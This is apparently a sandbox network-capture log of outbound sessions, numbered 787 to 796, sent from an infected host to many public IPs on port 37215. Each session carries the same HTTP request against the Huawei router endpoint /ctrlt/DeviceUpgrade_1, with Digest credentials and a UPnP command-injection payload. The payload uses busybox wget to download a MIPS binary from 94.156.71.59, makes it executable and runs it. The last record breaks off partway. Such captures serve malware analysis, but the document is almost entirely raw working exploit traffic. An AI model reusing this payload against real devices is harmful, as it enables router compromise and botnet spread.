Jun 10, 2024 15:38:02.768716097 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
787	192.168.2.13	35782	41.101.121.169	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.770030975 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
788	192.168.2.13	35570	156.180.47.217	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.771027088 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
789	192.168.2.13	43048	156.186.79.156	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.772411108 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
790	192.168.2.13	60466	156.151.233.250	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.773931026 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
791	192.168.2.13	39138	156.179.59.101	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.774996042 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
792	192.168.2.13	35870	197.39.173.119	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.775919914 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
793	192.168.2.13	46860	197.45.254.180	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.776905060 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
794	192.168.2.13	36016	41.186.142.103	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.778187990 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
795	192.168.2.13	39560	197.254.151.216	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.779347897 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
796	192.168.2.13	57340	41.177.168.250	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.780766010 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 